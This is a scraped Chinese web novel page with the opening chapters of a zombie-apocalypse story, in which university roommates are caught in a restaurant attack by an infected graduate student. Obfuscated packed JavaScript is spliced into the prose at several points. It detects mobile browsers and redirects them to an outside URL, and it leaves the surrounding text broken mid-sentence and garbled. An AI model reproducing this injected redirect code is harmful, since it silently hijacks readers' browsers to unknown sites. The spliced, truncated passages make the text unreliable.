《全世界只剩大学生【末世】》 1. 清理囤货，前往闹市 “啊啊啊啊——！” 中午十一点半，距离考试开始仅剩两个半小时。 1230宿舍，姜杞抱着400多页的书，佝偻着身子，双目无神。一目十行扫过密密麻麻的专业课教材，有气无力地扶着墙边走边背，还时不时发出无力的哀嚎。 大学生极限挑战，半本书两个半小时背完。 “要背书你就背，别瞎叫唤了。”正在化妆的阮青舒不耐烦地喷了一句，说着还翻了个白眼。 这一幕正好被眼尖的李穗瞥见，她眉毛一挑刚想开麦，就见阮青舒翻着白眼按住眼皮向上拉，对着眼球快准狠地怼上去一只美瞳，眨眨眼等眼泪眼泪流出来，继续翻白眼带下一只。 李穗只觉得一口郁气堵在胸口，翻了个白眼向床上倒去。 姜杞不知道一场关于自己的大战悄无声息消散，但也听话的没有再瞎叫唤。 她断气般扶着墙缓缓倒下，想了想，又把厚厚的书本垫在屁股下面。 “欧包有巧克力馅、开心果夹心，总共十三个。”同样坐在地上的还有正在盘点宿舍物资的朱妙妙。她一边拿着手机，一边对着地上的零食碎碎念。 “全麦面包未拆封一袋，害，还有三天过保质期没法卖了。大米半袋，五千克的面粉半袋……” “等等。” 角落的姜杞气息微弱，但还是坚定地举手提出了质疑：“为什么我们宿舍还会有面粉这种奇怪的东西？” 朱妙妙手上的动作一顿，心虚道：“因为有一天我逛超市，发现这样一袋面粉只需要五块钱。” 五块钱，买不了吃亏，买不了上当。 “哪里奇怪了，我洗葡萄的时候就经常找妙妙借面粉，这样才能洗干净！”正在贴假睫毛的精致女孩阮青舒傲娇地怼了回去。 小半袋面粉都是她这样用掉的，当然，她只借不还。 地上的姜杞和床上的李穗同时扭曲，不屑地“切~”了一声。 朱妙妙歪歪头，继续统计地上的东西。 这只是1230宿舍众多囤货的一小部分。放不住的牛奶、水果已经早早地通过互助群卖出去了。欧包、自热盒饭这样的速食保质期较长，但朱妙妙检查了一下，还是决定卖给暑假准备留校的同学们。 没几天就要离校了，得抓紧时间清理库存。 “啊啊啊有个学姐，她说所有的欧包她都要了！”李穗从床上坐起来，盯着手机页面兴奋地叫喊；“还有其他的零食、做饭的调料食材，有多少要多少!” 姜杞一个鲤鱼打滚就站起身来，压在李穗身后看那个出手阔绰的学姐。 “这是要留校吗？买这么多东西？” 李穗想了想：“大概是留校考研的吧，可能暑假的时候食堂不开门。” 1230的大部分囤货就这样打包卖给了这个学姐，她们兴奋地把东西打包好放在门口，准备一会下楼吃饭的时候给学姐捎过去。 收拾完积压的囤货，宿舍里终于变得宽敞起来，桌子底下也终于有了放脚的地方，也不用再担心橱柜上面的东西忽然掉下来。 “真好！” 朱妙妙叉腰站在宿舍门口，打量着焕然一新的空旷宿舍，油然升起一种满足感。 囤货大多是她带头全宿舍集资买的，图量大便宜，卖的时候也没具体区分，说好了卖完一起去外面吃一顿。 “你们去吃饭吧，我就不去了。” 姜杞有气无力地倚着墙壁，从屁股底下抽出课本，面色沉重的叹了一口气。 她真的没时间吃饭了。 现在是十二点整，距离考试开始仅剩两个小时。 姜杞面色痛苦，以头撞墙，不愿意接受半个小时只背了薄薄几张纸的现实。 背不完了背不完了，她痛苦地瘫在地上，恨不得突然地球爆炸、生化危机、小星星撞地球，所有人统统死光光。 阮青舒终于画好了妆，踩着细高跟，不耐烦地上前踢了踢那坨人形物体。 她就佩服姜杞随时随地躺下瘫成一坨泥的能力。 军训的时候姜杞就充分表现出物理“躺平”的天赋，休息时间，别的同学都是席地而坐，就姜杞直接就地躺平，瘫成一张大饼，要死的表情吓得教官都过来问了两声。 李穗已经饿的受不了了，硬把姜杞拽了起来。 姜杞最后还是被说服，收拾收拾准备出门。因为下午的考试在主校区，吃饭选的店就在主校区门口，吃完饭就可以直接去考场。 十二点十分，距离考试开始不到两个小时，1230宿舍终于全部收拾好了行装，背好书包，抱着准备给学姐送过去的几箱子零食，准备出发。 为了清库存，大家还把学姐没买的东西也收拾收拾当赠品装了进去。 这下宿舍几乎一点吃的都没有了。 “啊啊啊啊——！” 等电梯的时候，窗外突然响起几声凄厉惨叫，和难以忍耐的痛苦呻吟。 姜杞抱着箱子凝神细听，“好像是十一楼的？” “简直跟姜杞刚才在宿舍里发疯抓狂的精神状态一模一样。”阮青舒拿出小镜子和口红补妆，抿了抿嘴唇，犀利点评。 正好电梯到了，空荡荡的一个人没有，一行人赶快进了电梯。 电梯下行，凄厉哀嚎逐渐清晰、逼近，在经过十楼的时候仿佛就贴着电梯门惨叫，还哐哐用力捶了两下电梯门。 电梯晃了两下，朱妙妙害怕地后背紧贴电梯，双手反过来按在电梯上，瑟瑟发抖。 “靠！” 阮青舒则是直接尖叫出声，扶着墙就要去按停电梯，额头上青筋抖动，怒骂着要出去教训捶电梯的人！ “好了好了。” 姜杞和李穗连忙拉住暴怒的大小姐，在摇晃的电梯里站稳身形。 现在是电梯下行，必须得到了一楼才能再回十楼。太折腾了，不值当。 下到一楼，阮青舒还在愤怒地编辑消息，美甲噼里啪啦地敲击着手机屏幕，要发表白墙曝光女生宿舍十楼丧心病狂的捶电梯门行为。 恨不得再坐电梯杀回十楼，手撕那个疯女人。 其余三人则是抱着箱子找到130宿舍，把东西放下，还拍了个照片发给那个留校考研的学姐。 130宿舍正对着楼梯间，还能听到哇哇的背书声。 图书馆太远，期末月大部分备考的同学都是拿着书直接去楼梯那里，坐在台阶上背书。 “这样的音量才算备考的正常状态吧，十楼那个狂叫的八成是刚查出来挂科，直接疯掉了。” 姜杞叹了口气，像是看到了自己的未来。 走出宿舍楼，还隐隐能听见楼道里焦虑的背书声和抓狂尖叫的声音。烈日炎炎，姜杞把手搭在额间，有些难以适应这强烈的光线，眯着眼跟着舍友走。 她们专业所在的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203009|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分校区建在半山腰，校门口在穿山隧道和高架桥之间的公路上，车来车往，但几乎看不到人。别说饭店、商铺还有娱乐场所，就连小吃摊都没几个。 好在41路公交5分钟直达主校区，分区的同学经常坐公交来主校区这边消费。 “是41路！” 李穗高喊一声，率先撒开腿往那边跑。 刚出校门的几人凝神一看，果然不远处的公交站台前正停着一辆公交车，门口已经排起了长队，黑底红字的数码显示排上赫然滚动着“41路”。 几个人忙跟上李穗的脚步，穿过路边拥挤的小摊贩向站台的方向跑去。 连一身包臀裙、细高跟的阮青舒都咬着牙拎包小跑起来。 淀粉肠、炸串的浓烈香气弥漫在空气中，往来的车辆卷起尘土飞腾。小吃摊前的学生大多还抱着几个快递，校园里的驿站没能干过校外，现在大部分快递都要去校门口的地下车库拿，极其麻烦。 绕过小吃摊，差点撞倒拿着一摞快递的同学，几个女生喘着粗气，终于抓住队伍的尾巴，紧跟着上了车。 “幸好排队的人多，要不然还真赶不上了。” 姜杞挤在人群中，紧紧抓住一旁的座椅稳住身形，庆幸地感慨。 阮青舒和李穗都是高个子，轻松地抓住头顶的拉环。朱妙妙跟姜杞一样是小矮子，够不到拉环，她两只手都抓在姜杞的胳膊上，才稍微获得了一点安全感。 “可不是么。”李穗随口附和，说着眼神瞥向窗外。她眼睛忽然一亮，松开拉环上前贴在公交车中间的玻璃门上。 “好家伙，有个哥们没赶上公交！” “可惜了，就差了那么一点。”李穗撇嘴，突然又大叫起来：“他，他怎么还追着公交跑起来了？” 阮青舒仗着个子高腿长，也好奇地大步上前，假睫毛几乎要贴在玻璃门上：“长得帅吗？” 姜杞一咬牙，把能抓住座椅的位置让给胆小的朱妙妙，她自己则小心地一步步的挪过来，凑到二人跟前往公交车外看。 只见一个身穿黑色T恤的男生紧紧跟在公交车后面，面部表情抽动，胳膊以奇怪的角度向后弯曲，跑起来还一瘸一拐。 但速度很快，公交车已经慢慢加速了，他竟然就紧跟在后面！ “这傻孩子，有啥急事也不能这样跑啊，打车能花个几块钱？”窗前的大爷也看到那个追着车跑的小伙子，对着狂奔的身影摇了摇头。 “他不知道41路十分钟一趟吗？”姜杞贴在玻璃上看那个几乎要口吐白沫的身影，嘴角抽动，表情复杂。 正是高峰期，路上车很多，几个照面黑T男就消失在马路上，大概是已经放弃了。 一旁的李穗则是掏出手机连连拍照。 “都看不见人了，你还拍什么？”阮青舒不屑地瞥了她一眼。 李穗不做声，脸贴在玻璃上的姜杞则反应过来什么似的猛得直起身来，瞪大了眼睛去抢她的手机。 李穗赶忙把手机高高举起，嬉皮笑脸地不给她看。 “幼稚。”阮青舒翻了个白眼。 “所以外面到底怎么了？”缩在原地玩手机的朱妙妙终于好奇地开口问了一句，声音却淹没在喧闹的噪音里。 十二点半，正是高峰期，高架桥上车辆密集，公交车在拥挤的道路上缓慢前行，逐渐远离熟悉的校区。 驶向——人群密集的闹市！ 2. 发疯的研究生 “黑T男上表白墙了！” 阮青舒突然压低了声音在公交车上惊呼，她举着手机瞪大了眼睛，长长的假睫毛扑闪扑闪。 “谁？”李穗掏了掏耳朵，扭头问。 “就是刚才追着公交车跑的那个男生，你看这个黑T恤，浅咖色短裤，还有脚上那个AJ，绝对就是他！”阮青舒一脸笃定，说着把手机递给了李穗。 李穗一手拉着头顶的拉环，一手接过手机。 手机上正在播放一个视频，不是黑T男追公交车的身影，而是满地破碎的玻璃，然后镜头向上移动，正好拍到一个慌乱逃窜的背影。 要不是阮青舒语气过于肯定，李穗还真认不出这就是刚才追公交的那个男生。 “家人们看看哈，这就是研究生的素质。”拍视频的是个男生，只出镜了一根手指，对着慌乱逃窜的背影指指点点：“这是得多着急，不走正门非得砸窗户的玻璃。哪里考上来的？什么素质！” 拍视频的男生不屑地“啧啧”两声，镜头又转向被砸了窗户的教室。 “靠！这不是社工实验室吗？” 姜杞凑了过来，一眼认出了这是什么地方。她们是社会工作专业，属于法学院，教学楼办公楼等什么都是和法学专业共用。就这个今年刚建好的社工实验室还算拿的出手，据说还是蹭的法学的赞助。 拍视频的男生显然也是社工的，对这种破坏公物的行为愤愤不平。 “我们好好的实验室，今年刚建好，还没用两天——卧槽！” 镜头猛得一晃，像是掉在了地上，转而又被捡起来对准破碎的窗户。 透过那仅容一人通过的破洞，教室内的狼藉尽收眼底，桌椅倒地，书本纸张乱飞，更让人瞠目结舌的是那从教室门口到窗前的血迹！ 门口的血迹最浓，鲜血从门后淌进来，漫了一地。 随后是几个明显的血鞋印，逐渐变浅，到窗户前的地面就这里几乎看不出来了，但窗框上还有几个鲜红的手印，显然男生刚才就是从这里跳了出来。 李穗眉头一紧，身后的姜杞骂出声来，还把正准备凑上来的朱妙妙一把推开。 朱妙妙气得跺脚，踮起脚尖趴上姜杞的肩头，但转瞬又惊恐地把身子缩回去。 视频在镜头转向教室内后就戛然而止，但这一两秒的镜头依然足够触目惊心，看得几个女大学生一阵恶寒，脸皱成了菊花，瑟缩着挤在一起。 “这到底是怎么回事？没头没尾的什么也看不出来啊！”阮青舒暴躁地敲击着屏幕，边骂骂咧咧边在视频下留言。 李穗看着还算镇定，摇头道：“有后续大概也不敢发出来，肯定是出事了。” 黑T男看起来似乎并没有受伤，但教室里却有着打斗的痕迹与大片鲜血。朱妙妙打了个寒颤，不敢细想。 几个人捧着手机挤在一起，下载保存视频，飞快转发到朋友圈和各大微信群，火热讨论起这件事。 有些大群早就炸开了，一条条“卧槽”直接刷屏，还有胆子大的当即表示自己就在附近，这就跑过去打探消息。 姜杞一直皱着眉反复看那条视频，突然她倒吸一口冷气，把舍友拽过来低声道：“我想起来了！黑T男，那个黑T男不就是徐成的研究生吗？还跟着我们上过几节小组工作！” 朱妙妙拿着手机捂住胸口，吓得脸色惨白，竟然是身边的人。 “研究生？”李穗的关注点落到很奇怪的地方：“研究生也有期末考吗？他们怎么还没离校？” 本科生明面上的放假时间是7月15，但实际上考完就可以直接走，很多专业的考试时间靠前，齐南大学还没走的学生不多了。 姜杞：“研究生也有暑假吗？” 阮青舒用看白痴的眼神瞥了两人一眼：“但那可是徐成的研究生，他能让手底下的学生闲着？”她话锋一转，忽然叹道：“徐成的研究生惨啊，听说他又接了个大活，手底下的研究生最近每天都没日没夜加班加点的干。” “还洋洋得意的在朋友圈说他夜里两点给研究生发消息，不到三点就都给他回复了，也不知道到底想表达什么。” 朱妙妙害怕的小脸上露出一点庆幸，小声道：“幸好咱已经结课了，要不然又得帮他们搞那些PPT、课件。” 她们已经跟徐成上了两个学期的课了，几乎每周都要做很多毫无意义的PPT、课件、整理公众号的文章，有时候还会领到厚厚的一本书，要求在规定时间内整理成电子版。 每次做徐成的作业，宿舍里都是鬼哭狼嚎、骂声一片。 话题逐渐偏转，姜杞突然道：“你们说，今天社工实验室里，徐成在不在？” …… 阮青舒倒吸了口冷气，压低了声音推测道：“在吧？我今天早上晨跑的时候还看见他在操场遛弯，应该是来给研究生开组会的。” 给研究生开组会……在社工实验室？ 啊这—— 四个人齐齐噤声，抿着嘴唇你看看我我看看你，紧绷着脸摇头晃脑，最后心照不宣的把脸转向别处。 ****** 不上岸不改名:不是，现在研究生压力都这么大吗？【惊恐】 pp：听说是一个研究生帮导师干活，几日几夜没合眼，在组会上还被导师羞辱，当场发疯，拿着笔记本把哐哐乱杀！直接把导师干掉啦【撒花】 跑路大师：【白眼】说得跟你亲眼看见了似的。 跑路大师：实验室门从里面反锁着，现在就一个人破窗跑出来了，还直接跑没影了，你怎么知道的？ 请你瘦下来：@不上岸不改名，额，别的不是很了解，xc的研究生应该是挺难的。 AAA专业饼干打孔：家人们我现在就在现场！社工实验室里好像还有人，哐哐的砸墙，保安大哥已经准备破门了！！！ AAA专业饼干打孔：抖音号123****家人们加我！关注破百就直播！ 下面还有诸如“明明是在里面反锁的，里面的人怎么不直接打开？”、“砸墙干什么，不会说话吗？”之类的质疑，但大部分人都跟阮青舒一样，骂了一声，直接复制号码转战抖音。 阮青舒，1230八卦第一人。 锅里青菜碧绿，红油艳艳，肉卷和火锅丸子在鲜艳的红汤里翻腾。阮青舒佁然不动，紧盯着手机页面蹲直播。 李穗夹起一筷子油麦菜，边刷手机边感慨：“幸好咱今天出来了，感觉东区今天还真是不大太平。” 朱妙妙也是心有余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“真墨迹！”等了半天不见下手，姜杞啧啧两声，看向窗外。 火锅店就在主校区对面，靠窗的位置可以清楚瞧见学校正门。 正是吃午饭的时候，校门口的摊贩烟火缭绕，不少恶鬼上身的大学生扎堆围在小吃摊前。有几个哥们勾肩搭背去外面吃饭，也有一身睡衣提了外卖就匆匆往宿舍赶，拖拉着凉拖，眼睛都还没完全睁开。 生活琐碎寻常，一如过往。 姜杞收回目光，大家的耐心也被这场拖延的直播消耗干净了。 坐在她对面的朱妙妙正在给大家分刚捞出的鸭肠，孟禾眉飞色舞地递过去餐盘，阮青舒则打量着手上新做的美甲，一副对吃的不是很感兴趣的模样。 她翻开桌上的手机，想看看那个昂贵的门到底砸了没有。 几乎同一瞬间，不知什么地方传来一声猛得拔高的嘶吼，和物体撞击在铁皮上发出的剧烈的撞击声！ 朱妙妙的尖叫声都淹没在那巨大的声响中。 姜杞的手机落在了地上，来不及去捡，混乱中不知道被踢到了什么地方。 3. 打丧尸能保研吗？ 一个瘦高的中年男子尖叫着连连后退，却一个脚底打滑，狠狠摔在了地上。 半分钟前，他去调料台补小料。听到动静后转头，正好看到那个一身黑满脸血的青年趴在玻璃门上，大片的眼白充斥着黑线，血肉模糊的手指在玻璃门上疯狂抓挠，留下一道道血印。 似乎是察觉到男子的目光，青年竟还咧嘴露出一个笑。 半截模糊的舌头就这样掉出来。 几乎是瞬间，刚才还算热闹的火锅店同时响起男人的尖锐爆鸣和撞击玻璃门的巨大声响！ 背对着玻璃门的收银小妹猛得蹲下，并颤抖着转头向后看去。 当朱妙妙抬眸时，正好看见一团黑色的身影猛得扑到收银台下，活生生的人在他身下死命挣扎，依然无法阻挡牙齿在下一秒啃上圆乎乎的脸蛋。 明明没有很多血流出来，朱妙妙却感觉全世界都充斥着浓稠的鲜红色。 刚才还活蹦乱跳的人似乎都不会挣扎了，整个人被死死压在地上啃食，四肢都违背常识般被折成各种角度。这让她想起过年时老家宰杀的公鸡，掐断脖子后也是这样被随意摆布。 青年还在继续啃食。 或许过会就会有鲜血喷射出来，溅到他那张已经看不出原本模样的脸上。 朱妙妙忘了自己是不是尖叫了，只依稀记得她全身失了劲般倒在沙发上，再回过神来时已经倒在沙发与火锅桌的缝隙间。 这时整个饭馆都混乱起来，尖叫声、呵斥声杂着哭声，舍友们也已经注意到了那边的动静，李穗一把拽住阮青舒的袖子，死死把她拽到桌子下面。 扎心的疼痛缓过劲后，阮青舒终于恢复了些许理智，看着眼前面色煞白紧紧捂住自己嘴的舍友，不由得心生恐惧，顾不得钻心般疼痛的脚踝，学着她们的样子腾出手来仅仅捂住嘴巴。 尖叫声、撕咬让1230所有人都下意识的蜷缩在角落里浑身僵硬不敢动弹，也不敢再发出什么声音。 除了姜杞。 大颗的泪水模糊了朱妙妙的视线，从她的角度，只能隐约看到姜杞探出桌子底下的半个身子，和她高高抬起的屁股。 姜杞正趴在地上，探出半个身子去够被踢飞的手机。 她浑身僵硬，胳膊向前伸，身体尽可能地贴近地面。去够手机是下意识的举动，手机寄托着她下场考试的全部希望,没了手机她可怎么活！ 可现在是骑虎难下，那个疯子似乎已经对身下的“人”失了兴趣，进食的频率明显下降，似乎下一秒就要开始挑选其他的猎物。 姜杞离手机还有一段距离，她保持着匍匐前进的动作一动都不敢动，忍着眼睛鼻子的酸涩，脸朝下，泪水鼻涕胡乱地滴落。 中午一点多，火锅店里其实没有太多人。 两桌学生，一个自己来吃火锅的瘦高男人，一对带着儿女中年夫妻。还有就是收银的姐姐，打杂的阿姨与兼职厨师的老板。 瘦高男人四肢并用，尖叫着胡乱从地上爬起来，猛得向店里面冲进去。 正好四口之家中的小妹妹自己从卫生间里走出来，边走边整理裙摆上的花边，一个黑影猛得冲过来，她抬起圆乎乎的小脸向上看去，还没看清楚就被瘦高男人一把拽住，拖拽着猛得把小妹妹推向自己的身后！ 被推向收银台的小姑娘尖叫着哭起来! 正安抚妻儿的父亲闻声猛地从桌下站起，怒目圆睁，直接冲了出去。 也趁着这阵混乱，朱妙妙不知哪来的勇气，探着身子像姜杞的方向够去，戳到了姜杞的屁股，随即拽住她的衣角向后拉扯。 紧闭泪眼的姜杞这才恍惚回来神来，仍然不敢抬头看。空气中弥漫着鲜血的腥气，她只感觉什么东西涌上喉咙，强忍下这股呕吐的冲动，匍匐着后退，终于和朱妙妙紧紧挨在一起。 这时，小女孩的父亲已经拎着儿子的大书包冲向那个还在疯狂啃食的怪物，十多斤的米奇书包猛得砸向他的脑袋！ 女孩的妈妈趁机佝偻着身子窜出来，上前一把抱住正在痛哭的女儿，捂着她的嘴躲起来。 满身血迹的青年被大叔一书包砸在地上，身体触电般地疯狂战栗，四肢以违背生理常识的角度折叠，血盆大嘴一张一合，掉出大块的碎肉。 大叔用书包按住他的脸，整个人死死压在他身上，冲天的血腥味让他几乎要吐了出来！ 他几度反胃，有些使不上劲来，身上的力气也逐渐消耗。 反观身下的青年，像是完全感觉不到疼痛，还有着使不完的力气，如同一只真正的怪物般疯狂挣扎嚎叫。挣扎的幅度愈来愈大，仿佛下一秒就压掀翻压在他身上的高大男人！ “跑啊！快跑！” 大叔似乎是要撑不住了，这才想起来叫妻儿快跑。 泪眼模糊的女人胡乱抹了把眼泪，抱起小女儿，就要去牵儿子的手。可小男孩满脸鼻涕泪，坐在地上哭得快要断气了也不动弹，只是拼命地摇头。 “走呀！”女人哭着大喊，抱着女儿，不断地去踢儿子的鞋：“走！” 眼见大叔要撑不住了，一个竹竿般瘦高的身影从1230那桌旁边窜过去，姜杞一愣，视线紧跟着那个身影，不由自主地探出头去。 “叔闪开！” 那是另一桌学生里的一个男生，打扮较为成熟，但还满脸稚嫩，宽松的西装穿在身上就像中学生偷穿大人衣服。 只见他猴子般灵巧地穿过胡乱摆放的桌椅，一把拎起铁凳子的腿，在大叔堪堪闪开的时候，找准时机对着青年模糊的面孔砸了下去！ “操操操啊！侯林源你杀人啊！！” 紧随其后的一个黑胖男生猛得刹住了脚步，瞠目结舌地冲着还在疯狂砸人的侯林源大喊。 他脚像是黏在地上了，停在原地握紧拳头大口喘着粗气，眼神闪烁间竟一咬牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一直被吓得六神无主的她像是忽然又活了过来，又能听到店里小男孩歇斯底里的哭叫，和年轻母亲崩溃的骂声。 门口被堵着，那一家四口也还没走。 几乎是一瞬间，陈灵发疯般脱下脚上的高跟鞋，赤脚冲上前推开用书包压着青年的侯林源，边哭边用细长的鞋跟对准青年的脑袋、心脏等地方拼命的砸下去。 张梦娴抓着大瓷盆呆滞地站在一旁，止不住的战栗。 青年终于没了暴起行凶的能力，只身体不断抽搐。 陈灵还没怎么下手，眼见青年不怎么动弹了，急得鼻涕眼泪一块掉下来。“真能，能保研吗？我这样也可以吗？” 她才刚动手。 陈灵崩溃地放声哭起来：“那我这样算不算骗保啊！” 4. 末日，开始！ 疯狂啃食的青年终于逐渐丧失了攻击能力，瘫在地上，只四肢还微微的抽搐。 几个即将毕业的大学生终于停下来鞭尸的举动，颤栗地瘫坐在地上。 张梦娴像是还没缓过劲来，双目无神，全身止不住地颤抖，像是刚死了一回。陈灵坐在地上痛苦地晃来晃去，突然颤巍巍爬起来，踉跄着冲到卫生间疯狂呕吐。 侯林源也脱力般躺在地上，只剩还没来得及动手的黑胖男生强忍住呕吐的欲望，上前来看了一眼，瞬间皱着脸又撇开视线。 角落里，一直瑟缩着躲在桌子底下的1230众人终于敢动弹了。姜杞早已站起来，转身要拉朱妙妙。朱妙妙拽着她爬起来坐在沙发上，瘫软着身子不说话。 “操！”李穗喘了口气，从桌子底下爬起来。“不是，她们为了保研都不顾保命了吗？这么疯？这精神状态不一般啊！” 姜杞点头：“不是一般的牛逼。” 阮青舒狠狠地拽了李穗一把，强撑起力气站起来，低声道：“可闭嘴吧你，要不是学长学姐们发疯，咱几个都被啃成碎渣渣了。” 姜杞歪歪头：“散装舍友？” 这下几个人齐齐看向姜杞，连丢了魂般缩成一团不说话的朱妙妙也把视线转移到她身上。 阮青舒细长的甲片几乎要隔着火锅戳上姜杞的眼睛，不可置信道：“又开始了？你又开始发什么神经，这场面还让你兴奋起来了？” 姜杞怯生生地缩了缩，还没回答，就听见李穗一声轻笑。 几个人又齐齐看向李穗。 李穗瞬间收起了笑容，赶紧指着姜杞，把火力再转移回她身上：“我是想起了刚才姜杞说的‘散装舍友’！” 啃成碎渣渣……散装舍友…… 几个大一的小姑娘都绷不住了，不知是谁率先笑了一下，紧接着全都笑起来。 血腥味像是化为实质般的粘稠，碎尸粘在地板上、天花板上，旁边的一家四口还在相拥哭泣，卫生间里还能隐约传来呕吐声。几个人就这样不合时宜的笑起来，好在还没傻彻底，知道低着头捂住嘴巴，不敢发出一点动静。 “大一真好。” 侯林源瘫在地上，艳羡地发出一声叹息，紧接着闭上了眼睛。 他左右手交叉压在腹部，右手悄无声息地盖住左手腕，大拇指按住一条细长的、微微渗血的口子。 一旁。 “他们应该是大三的学长学姐们吧？大四的已经离校了。”朱妙妙像是终于缓过劲来，有气无力地说。 “也不一定。”阮青舒眼眸一转，低声道：“那个学姐，刚才不是说‘延毕’吗？” “本科就延毕啊？还真没怎么听说过。”李穗咋舌，又没控制好音量，被阮青舒一巴掌拍在脸上。 姜杞分析道：“应该是大四，没找到工作，为了保住应届毕业生的身份而主动延毕。” 考研没考上，工作找不着，现在要继续在大学里再熬一年，说不定最后还是一事无成只能去嫁人。 姜杞对学姐的崩溃感同身受……像是又看到了自己的未来。 大一快结束了，她还没怎么摸清社会工作到底是干什么的，只依稀知道这个专业在香港、深圳等南方发达的地方发展的比较好，她们将来实习也是去那边。 工资低，事情多且繁琐，，而且还不一定能找到工作！ 她越想越悔恨，眼神不由自主地瞥向门口那具微微抽搐的“尸体”，不知道现在过去“保研”的事还算不算数。 被鞭尸了不知多少次的青年像是察觉到这险恶的目光，回光返照般猛地抽搐了两下！ 惊得张梦娴忽然回了神，猛得抄起什么东西砸过去！ 前台的柜子又被溅上几滴鲜血，青年终究再也没能爬起来。 “死成这模样还能动弹，这不会，不会就是丧尸吧？”侯林源咽了口唾液，颤声道。 “丧尸”两个字一出，火锅店里猛然安静下来，连呼吸声都短暂消失，只剩下青年诈尸般的抽搐。 事情发生的太过突然，让身处其中的人完全无法思索到底发生了什么。当灾难暂时落幕，这个脱口而出的猜测一语中的人们内心深处不愿面对的猜想，最可怕的一种可能被摆在明面上，所有人不禁毛骨悚然。 感知不到痛觉，速度快力量大，没有理智，生食活人，，说不清到底是死是活。 如果不是丧尸，那还能是什么？ 已经有数人手上染了这个怪物的血，这东西，反正不能是人！ 空气仿佛静止了一般，所有人都僵在原地，连哭闹不止的小男孩都苦累了似的撇撇嘴，不再出声。这时，姜杞忽然转头看向窗外，明显愣了神，然后紧贴在玻璃上，颤声道：“外面，外面已经没有人了！” 李穗也看过去：“操！是不是咱这里动静太大，把外面的人都吓跑了？” “那也不能一个人都没有啊。”侯林源没有起身，瘫在地上苦笑。他只觉得心中压了一块巨石，几乎要喘不过气来，也使不出任何力气。 阮青舒被捅了一刀般地跌在沙发上，捂着胸口，不敢抬头。 倒是一直失魂落魄的朱妙妙终于扶着桌椅站起来，抹了把眼泪看向窗外。 这里的视野正对校门口，只依稀瞧见校门内外已经空无一人，紧挨着大门的小吃摊走了大半，留在原地也看不清是不是还有人。两辆轿车竟然离奇的停在大路上，也没有人上前指责，过往的车辆明显少了很多，没有人在意停在路中央的两辆车，一个个脚踩油门开得飞快。 泪水越流越多，朱妙妙一直沉默地抹眼泪，视线却几乎一直模糊。 “什么丧尸，铁定精神病院跑出来的！” 一个尖细的声音突然响起，姜杞闻声看去，竟是最先逃跑的那个瘦高男人从卫生间出来了。 他原先被吓得摔在地上，魂儿都不知道飞到了哪里，眼下却嚣张起来，紧张与恐惧都化为满身的戾气。瘦高男人小心上前，在确认了青年真的不能动弹之后，直接“啐”了一口大骂。 “什么熊玩意，不老实呆在你的精神病院跑出来霍霍，死了也活该！” 说着凶狠的视线又扫视过瘫在地上的两人，眼中闪烁着难以言说的光芒，说不清什么心态地阴阳怪气道：“他是神经病杀人不犯法，你们就说不定了吧。大学生怎么这么冲动，上去就杀人！别说什么保研了，怕不是直接就进去吃牢饭了吧？” 侯林源没有力气理他，烦躁地闭上了眼。执着于保研的张梦娴也还瘫坐在地上，没有任何反应，精神状态稳定的出奇。 “你这人有病吗！”黑胖男气得吹鼻子瞪眼，他又不会吵架，只没什么威力的骂了一句。 最尖酸刻薄擅长吵架的阮青舒还瘫在沙发上没动静，李穗“啐”了一口，摩拳擦掌就要过去帮忙骂架。 还不等她骂什么，一直紧紧盯着手机的大叔突然暴起，狰狞的把手机狠狠砸在地上！然后在所有人惊恐的目光中，几个大步就来到瘦高男人的面前，一把揪住他的衣领，老鹰捉小鸡般把人高高提起！ “啊啊！”瘦高男人满脸惊吓，双脚悬空尖叫着扑棱，一句“杀人了”刚喊出口，整个人就被扔飞出去。 他呻吟着摔落在调料台前，正好是之前大叔女儿被推倒的位置。 大叔不解气般地大步追上前，硕大的拳头对准他的脸狠狠地砸下去，每一拳都下了死手，打得瘦高男直接喷出一口血沫来！ 几乎所有人都吓得僵在原地不敢出声，侯林源挣扎着从地上爬起来，和黑胖男一起劝解着把大叔拉住。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203012|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“叔冷静，冷静啊！打人三代不能考公！他这条贱命不值钱，您家孩子的前途总不能不要吧？” 大叔就像发疯般冷着脸不说话，不管不顾地一拳拳打下去。还是一旁的年轻女人听到“不能考公”后发了疯般跳起，尖叫着给了丈夫一巴掌，“疯了吗你怎么敢打人！” “怎么敢？”大叔终于停了下来，喘着粗气冷笑道：“都末日了还有什么不敢的。” 女人抱着孩子哭叫：“张德峰你说什么鬼话！你给老娘说清楚！” 姜杞的目光落在被摔在地上的手机上，几乎要难以呼吸。 “110、119，什么都打不通！” 